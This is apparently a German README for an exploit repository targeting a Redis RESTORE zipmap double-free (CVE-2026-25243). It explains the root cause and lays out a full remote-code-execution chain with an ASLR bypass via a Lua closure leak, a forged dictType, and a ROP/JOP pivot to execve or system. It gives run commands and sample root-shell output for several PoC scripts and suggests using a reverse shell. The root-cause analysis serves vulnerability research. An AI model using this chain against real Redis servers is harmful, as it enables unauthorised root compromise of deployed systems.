
CVE-2026-25243 — Redis RESTORE zipmap double-free → Remote-Codeausführung (ASLR aktiv).
RESTORE zipmap double-free → Remote-Code-AusführungTL;DR. Eine fehlerhafte
DUMP-Nutzlast, die anRESTOREübergeben wird, löst einen Double-Free auf dem Heap im Legacy-Hash-Zipmap-Loader von Redis aus. Mit dem Standard-jemalloc bleibt der Double-Free still (der Server läuft weiter), was ihn in ein steuerbares Type-Confusion-Primitiv verwandelt. Dieses Repo verknüpft das zu Remote Code Execution bei aktiviertem ASLR — der Redis-Worker ruftsystem("<attacker string>")auf und bedient weiter. Kein DoS.
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000 (NO libc)
[*] fake dictType F=0x7f352e013c36 g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),... # <- execve("/bin/sh","-c",<cmd>) as the redis process
Der Leak, der ASLR aushebelt, kommt ohne DEBUG aus — er liest die Adresse der Lua-C-Closure redis.call (EVAL 'return tostring(redis.call)'), dieselbe in sich geschlossene, DEBUG-freie Technik wie bei unserem früheren Redis-Exploit. blob_base/blob_robj und die PIE-Basis werden dann zur Laufzeit aus dem Over-Read abgeleitet (kein festes Offset). Der PIE-ROP-Abschluss ruft execve@plt über einen JOP-Stack-Pivot auf und verwendet damit null libc-Adressen — die einzigen buildspezifischen Konstanten sind PIE-relative Gadget-Offsets, die aus der redis-server-Binärdatei gelesen werden, genau wie die pro Build erstellte Gadget-Tabelle unseres früheren HLL-Exploits. Verifiziert mit uid=0(root), ASLR an, 8/8, auf einem Standard-Server mit deaktiviertem DEBUG.
Es werden zwei Abschlussvarianten bereitgestellt.
poc_rce_aslr_pie_rop.py(oben) ist die in sich geschlossenste — kein libc, vollständig selbstkalibrierend — aberexecveersetzt den Worker (nutzt eine Reverse-Shell als--cmd; am besten für eine echte Shell).poc_rce_aslr_selfcal.pyhält den Worker am Leben (system()forkt) auf Kosten von zwei libc-Versions-Offsets. Entscheiden Sie danach, ob der Server überleben muss.
RESTORE key 0 <DUMP-payload> deserialisiert ein serialisiertes Objekt. Für den alten Typ RDB_TYPE_HASH_ZIPMAP (0x09) sind sich Validator und Konverter uneinig, wie viele Bytes ein Längenfeld belegt:
zipmapValidateIntegrity() läuft mit der tatsächlichen kodierten Größe (5 für das überlange 0xFE-Präfix);zipmapNext() verwendet bei der Konvertierung zipmap → listpack für jede dekodierte Länge < 254 nur 1 Byte.Eine kleine Länge in der überlangen 5-Byte-Form besteht die Validierung, veranlasst zipmapNext() jedoch zu einem Fehlsprung von 4 Bytes. Aus demselben Fehlsprung ergeben sich zwei Konsequenzen: ein Over-Read auf dem Heap (zipmap.c) und, nur bei Redis, ein Double-Free auf dem Heap im Hash-Zipmap-Loader von rdb.c:
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
dictRelease(dupSearchDict); // (1) dictAdd took ownership of `field` -> freed here
sdsfree(field); // (2) freed AGAIN -> double-free
}
Valkey schützt dies ab (if (!field_added) sdsfree(field)); das ursprüngliche Redis tat das nicht, daher ist der Double-Free nur bei Redis vorhanden. Der Fix lehnt die überlang kodierte kurze Länge ab und ordnet die Prüfungen beim Laden neu.
silent double-free -> type-confusion overlap -> arbitrary pointer-forge
-> forge a hashtable hash's dict->type to a fake dictType
-> HGET hd "<field>" == dictFind -> type->hashFunction(field)
libc path (selfcal): hashFunction = &system -> system("<cmd>") (worker survives)
PIE path (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
-> leave;ret pivots rsp onto the field
-> execve("/bin/sh","-c","<cmd>") via execve@plt (no libc, no DEBUG)
Das gefälschte dictType wird in einem 16-MB-String (SETRANGE) an genau dem Offset platziert, dessen Adress-Niedrigbytes mit dem sds-Header des Angreifer-Strings übereinstimmen. ASLR wird vollständig zur Laufzeit ausgehebelt:
system — ein einzelner Heap-Pointer-Leak. Der empfohlene Weg ist DEBUG-frei: die Adresse der Lua-C-Closure redis.call (EVAL 'return tostring(redis.call)') — derselbe in sich geschlossene Leak, den unser früherer Redis-Exploit nutzt. Die jemalloc-Arenas liegen in einem konstanten Offset zu libc, daher gilt system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT ist nur eine Laborkomfortfunktion, wenn Skripting deaktiviert, aber DEBUG aktiviert ist — die seltenere Konfiguration.)SET so, dass sein Element ein 107-KB-SDS_TYPE_32-sds ist; SMEMBERS liest über den angrenzenden Heap hinaus, und robj.ptr des Blobs wird an seinem bekannten Offset gelesen.Siehe WRITEUP.md für die vollständige Analyse Primitiv für Primitiv und die mühsam erarbeiteten jemalloc-/Redis-8.x-Details (Class-64-Grenze, Dict-Entry-Tagging, Hash-Feld-mstr, Keyspace-Pre-Grow).
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243
# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2 # ASLR ON
redis-server & # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
| Datei | was es demonstriert |
|---|---|
★ exploits/poc_rce_aslr_pie_rop.py | am in sich geschlossensten — RCE auf einem Standard-Redis (DEBUG aus), keine libc-Offsets; selbstkalibrierend blob_base/blob_robj/pie_base; execve@plt über JOP-Pivot (Worker wird ersetzt). 8/8. |
★ exploits/poc_rce_aslr_selfcal.py | Worker überlebt — gleiche Kette, aber hashFunction=&system (forkt); auf Kosten von zwei libc-Versions-Offsets (DLIBC/SYSTEM_OFF). Lua-Closure-Leak, selbstkalibrierend blob_base/blob_robj. |
exploits/poc_rce_aslr_nodebug.py | DEBUG-frei (Lua-Leak), aber mit festen Offsets (mit DEBUG kalibriert) |
exploits/poc_rce_aslr.py | Laborkomfort-Variante: DEBUG OBJECT-Bootstrap-Leak (benötigt aktiviertes DEBUG) |
exploits/poc_rce_aslr_off.py | RCE mit ausgeschaltetem ASLR (kalibrierte Adressen) |
exploits/poc_typeconfusion.py | Double-Free → zwei Schlüssel teilen sich einen Heap-Puffer (kein Werkzeug) |
exploits/poc_doublefree.py | der Double-Free (ASan: heap-use-after-free in sdsfree) |
exploits/poc_dos_overread.py | der Over-Read-Absturz (ASan) |
DEBUG)Der Bootstrap-Heap-Pointer-Leak folgt demselben Ansatz wie unser früherer Redis-Exploit: Die Adresse der Lua-C-Closure redis.call wird mit EVAL 'return tostring(redis.call)' geleakt. Lua-Skripting ist standardmäßig aktiviert; DEBUG ist standardmäßig deaktiviert (enable-debug-command no) — der Lua-Leak ist also der realistische Primärweg, und DEBUG OBJECT (poc_rce_aslr.py) ist nur ein Laborkomfort. poc_rce_aslr_selfcal.py leitet blob_base und blob_robj dann zur Laufzeit aus dem Over-Read ab (Scan nach der 16-MB-Blob-robj-Signatur), sodass DLUA/DFOBJ nur ungefähr stimmen müssen.